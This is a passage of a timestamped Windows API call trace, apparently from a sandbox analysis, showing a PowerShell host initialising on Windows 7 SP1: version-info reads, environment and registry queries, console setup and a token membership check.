lpdwProcessId=0xedae0) returned 0x3a0 [0236.744] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x3a0 [0236.744] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0xedae0 | out: lpdwProcessId=0xedae0) returned 0x688 [0236.778] WerSetFlags () returned 0x0 [0236.814] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0236.814] CoTaskMemFree (pv=0x0) [0236.815] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0xede48, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xede40 | out: pulNumLanguages=0xede48, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xede40) returned 1 [0236.815] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0xede48, pwszLanguagesBuffer=0x2d09280, pcchLanguagesBuffer=0xede40 | out: pulNumLanguages=0xede48, pwszLanguagesBuffer=0x2d09280, pcchLanguagesBuffer=0xede40) returned 1 [0236.832] CoTaskMemAlloc (cb=0x24) returned 0x2ffd50 [0236.832] GetUserDefaultLocaleName (in: lpLocaleName=0x2ffd50, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0236.832] CoTaskMemFree (pv=0x2ffd50) [0236.870] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0236.870] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0236.870] CoTaskMemFree (pv=0x254b00) [0236.886] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0236.886] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0236.886] CoTaskMemFree (pv=0x254b00) [0236.889] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0236.889] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0236.889] CoTaskMemFree (pv=0x254b00) [0236.932] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed810, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0236.932] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0236.932] SetErrorMode (uMode=0x1) returned 0x1 [0236.932] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0xedac0 | out: lpFileInformation=0xedac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0236.932] SetErrorMode (uMode=0x1) returned 0x1 [0236.932] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0xedd30 | out: lpdwHandle=0xedd30) returned 0x94c [0236.933] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2d0cb10 | out: lpData=0x2d0cb10) returned 1 [0236.934] VerQueryValueW (in: pBlock=0x2d0cb10, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xedca8, puLen=0xedca0 | out: lplpBuffer=0xedca8*=0x2d0cbac, puLen=0xedca0) returned 1 [0236.934] VerQueryValueW (in: pBlock=0x2d0cb10, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0xedc18, puLen=0xedc10 | out: lplpBuffer=0xedc18*=0x2d0cc88, puLen=0xedc10) returned 1 [0236.934] lstrlenW (lpString="Microsoft Corporation") returned 21 [0236.934] CoTaskMemAlloc (cb=0x2e) returned 0x309630 [0236.934] lstrcpyW (in: lpString1=0x309630, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0236.934] CoTaskMemFree (pv=0x309630) [0236.934] VerQueryValueW (in: pBlock=0x2d0cb10, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0xedc18, puLen=0xedc10 | out: lplpBuffer=0xedc18*=0x2d0ccdc, puLen=0xedc10) returned 1 [0236.934] lstrlenW (lpString="System.Management.Automation") returned 28 [0236.934] CoTaskMemAlloc (cb=0x3c) returned 0x307df0 [0236.934] lstrcpyW (in: lpString1=0x307df0, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0236.934] CoTaskMemFree (pv=0x307df0) [0236.934] VerQueryValueW (in: pBlock=0x2d0cb10, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0xedc18, puLen=0xedc10 | out: lplpBuffer=0xedc18*=0x2d0cd38, puLen=0xedc10) returned 1 [0236.934] lstrlenW (lpString="6.1.7601.17514") returned 14 [0236.934] CoTaskMemAlloc (cb=0x20) returned 0x305140 [0236.934] lstrcpyW (in: lpString1=0x305140, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0236.934] CoTaskMemFree (pv=0x305140) [0236.934] VerQueryValueW (in: pBlock=0x2d0cb10, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0xedc18, puLen=0xedc10 | out: lplpBuffer=0xedc18*=0x2d0cd78, puLen=0xedc10) returned 1 [0236.934] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0236.934] CoTaskMemAlloc (cb=0x44) returned 0x307df0 [0236.934] lstrcpyW (in: lpString1=0x307df0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0236.934] CoTaskMemFree (pv=0x307df0) [0236.934] VerQueryValueW (in: pBlock=0x2d0cb10, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0xedc18, puLen=0xedc10 | out: lplpBuffer=0xedc18*=0x2d0cde0, puLen=0xedc10) returned 1 [0236.934] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0236.934] CoTaskMemAlloc (cb=0x76) returned 0x2a0200 [0236.934] lstrcpyW (in: lpString1=0x2a0200, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0236.934] CoTaskMemFree (pv=0x2a0200) [0236.934] VerQueryValueW (in: pBlock=0x2d0cb10, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0xedc18, puLen=0xedc10 | out: lplpBuffer=0xedc18*=0x2d0ce7c, puLen=0xedc10) returned 1 [0236.934] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0236.934] CoTaskMemAlloc (cb=0x44) returned 0x307df0 [0236.934] lstrcpyW (in: lpString1=0x307df0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0236.934] CoTaskMemFree (pv=0x307df0) [0236.935] VerQueryValueW (in: pBlock=0x2d0cb10, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0xedc18, puLen=0xedc10 | out: lplpBuffer=0xedc18*=0x2d0cee0, puLen=0xedc10) returned 1 [0236.935] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0236.935] CoTaskMemAlloc (cb=0x58) returned 0x258930 [0236.935] lstrcpyW (in: lpString1=0x258930, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0236.935] CoTaskMemFree (pv=0x258930) [0236.935] VerQueryValueW (in: pBlock=0x2d0cb10, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0xedc18, puLen=0xedc10 | out: lplpBuffer=0xedc18*=0x2d0cf5c, puLen=0xedc10) returned 1 [0236.935] lstrlenW (lpString="6.1.7601.17514") returned 14 [0236.935] CoTaskMemAlloc (cb=0x20) returned 0x305140 [0236.935] lstrcpyW (in: lpString1=0x305140, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0236.935] CoTaskMemFree (pv=0x305140) [0236.935] VerQueryValueW (in: pBlock=0x2d0cb10, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0xedc18, puLen=0xedc10 | out: lplpBuffer=0xedc18*=0x2d0cc04, puLen=0xedc10) returned 1 [0236.935] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0236.935] CoTaskMemAlloc (cb=0x66) returned 0x2fc5a0 [0236.935] lstrcpyW (in: lpString1=0x2fc5a0, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0236.935] CoTaskMemFree (pv=0x2fc5a0) [0236.935] VerQueryValueW (in: pBlock=0x2d0cb10, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0xedc18, puLen=0xedc10 | out: lplpBuffer=0xedc18*=0x0, puLen=0xedc10) returned 0 [0236.935] VerQueryValueW (in: pBlock=0x2d0cb10, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0xedc18, puLen=0xedc10 | out: lplpBuffer=0xedc18*=0x0, puLen=0xedc10) returned 0 [0236.935] VerQueryValueW (in: pBlock=0x2d0cb10, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0xedc18, puLen=0xedc10 | out: lplpBuffer=0xedc18*=0x0, puLen=0xedc10) returned 0 [0236.935] VerQueryValueW (in: pBlock=0x2d0cb10, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xedbe8, puLen=0xedbe0 | out: lplpBuffer=0xedbe8*=0x2d0cbac, puLen=0xedbe0) returned 1 [0236.935] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0236.935] VerLanguageNameW (in: wLang=0x0, szLang=0x2a2d80, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0236.935] CoTaskMemFree (pv=0x2a2d80) [0236.935] VerQueryValueW (in: pBlock=0x2d0cb10, lpSubBlock="\\", lplpBuffer=0xedc38, puLen=0xedc30 | out: lplpBuffer=0xedc38*=0x2d0cb38, puLen=0xedc30) returned 1 [0236.969] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xedb08 | out: phkResult=0xedb08*=0x304) returned 0x0 [0236.969] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xedacc, lpData=0x0, lpcbData=0xedac8*=0x0 | out: lpType=0xedacc*=0x1, lpData=0x0, lpcbData=0xedac8*=0x56) returned 0x0 [0236.970] CoTaskMemAlloc (cb=0x5a) returned 0x2fc530 [0236.970] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xeda9c, lpData=0x2fc530, lpcbData=0xeda98*=0x56 | out: lpType=0xeda9c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xeda98*=0x56) returned 0x0 [0236.979] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0237.031] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0237.031] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0237.031] CoTaskMemFree (pv=0x254b00) [0237.368] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0xed6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0237.368] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0xed6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0237.511] CoTaskMemAlloc (cb=0x104) returned 0x254c10 [0237.511] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254c10, nSize=0x80 | out: lpBuffer="") returned 0x0 [0237.511] CoTaskMemFree (pv=0x254c10) [0237.512] CoTaskMemAlloc (cb=0x104) returned 0x254c10 [0237.512] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254c10, nSize=0x80 | out: lpBuffer="") returned 0x0 [0237.512] CoTaskMemFree (pv=0x254c10) [0237.564] CoTaskMemFree (pv=0x254c10) [0237.566] CoTaskMemFree (pv=0x254c10) [0237.566] CoTaskMemFree (pv=0x254c10) [0237.842] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0xed6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0237.842] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0xed6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0237.893] CoTaskMemFree (pv=0x254c10) [0237.915] CoTaskMemFree (pv=0x254c10) [0237.966] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0237.966] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0238.548] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0xed6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0238.548] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0xed6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0238.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0xed6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0238.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0xed6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0239.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed810, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0240.388] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0240.388] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed810, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0240.389] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed810, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0240.391] CoTaskMemAlloc (cb=0x104) returned 0x254e30 [0240.391] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254e30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0240.391] CoTaskMemFree (pv=0x254e30) [0240.459] CoTaskMemAlloc (cb=0x104) returned 0x254e30 [0240.459] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254e30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0240.459] CoTaskMemFree (pv=0x254e30) [0240.459] CoTaskMemAlloc (cb=0x104) returned 0x254e30 [0240.459] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254e30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0240.459] CoTaskMemFree (pv=0x254e30) [0240.491] CoCreateGuid (in: pguid=0xede28 | out: pguid=0xede28*(Data1=0x70702bf2, Data2=0x3c79, Data3=0x41af, Data4=([0]=0xbc, [1]=0x5d, [2]=0x5c, [3]=0xc7, [4]=0x39, [5]=0xa4, [6]=0x88, [7]=0x7))) returned 0x0 [0240.546] CoTaskMemAlloc (cb=0x104) returned 0x254e30 [0240.546] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254e30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0240.546] CoTaskMemFree (pv=0x254e30) [0240.550] CoTaskMemAlloc (cb=0x104) returned 0x254e30 [0240.550] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254e30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0240.550] CoTaskMemFree (pv=0x254e30) [0240.553] CoTaskMemAlloc (cb=0x104) returned 0x254e30 [0240.553] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254e30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0240.553] CoTaskMemFree (pv=0x254e30) [0240.560] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0240.580] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0xedad0 | out: lpConsoleScreenBufferInfo=0xedad0) returned 1 [0240.584] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0240.584] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0xedad0 | out: lpConsoleScreenBufferInfo=0xedad0) returned 1 [0240.585] GetVersionExW (in: lpVersionInformation=0xeda60*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xeda60*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0240.588] GetCurrentProcess () returned 0xffffffffffffffff [0240.588] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0xedaf8 | out: TokenHandle=0xedaf8*=0x320) returned 1 [0240.592] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xeda18 | out: TokenInformation=0x0, ReturnLength=0xeda18) returned 0 [0240.592] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x264100 [0240.592] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x8, TokenInformation=0x264100, TokenInformationLength=0x4, ReturnLength=0xeda18 | out: TokenInformation=0x264100, ReturnLength=0xeda18) returned 1 [0240.596] CheckTokenMembership (in: TokenHandle=0x31c, SidToCheck=0x2de78b8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0xedb88 | out: IsMember=0xedb88) returned 1 [0240.597] CloseHandle (hObject=0x31c) returned 1 [0240.597] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed650, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0240.597] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0240.598] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0240.598] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0240.655] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed650, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0240.655] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0240.656] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0240.656] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed650, lpFilePart=0x0 | out: 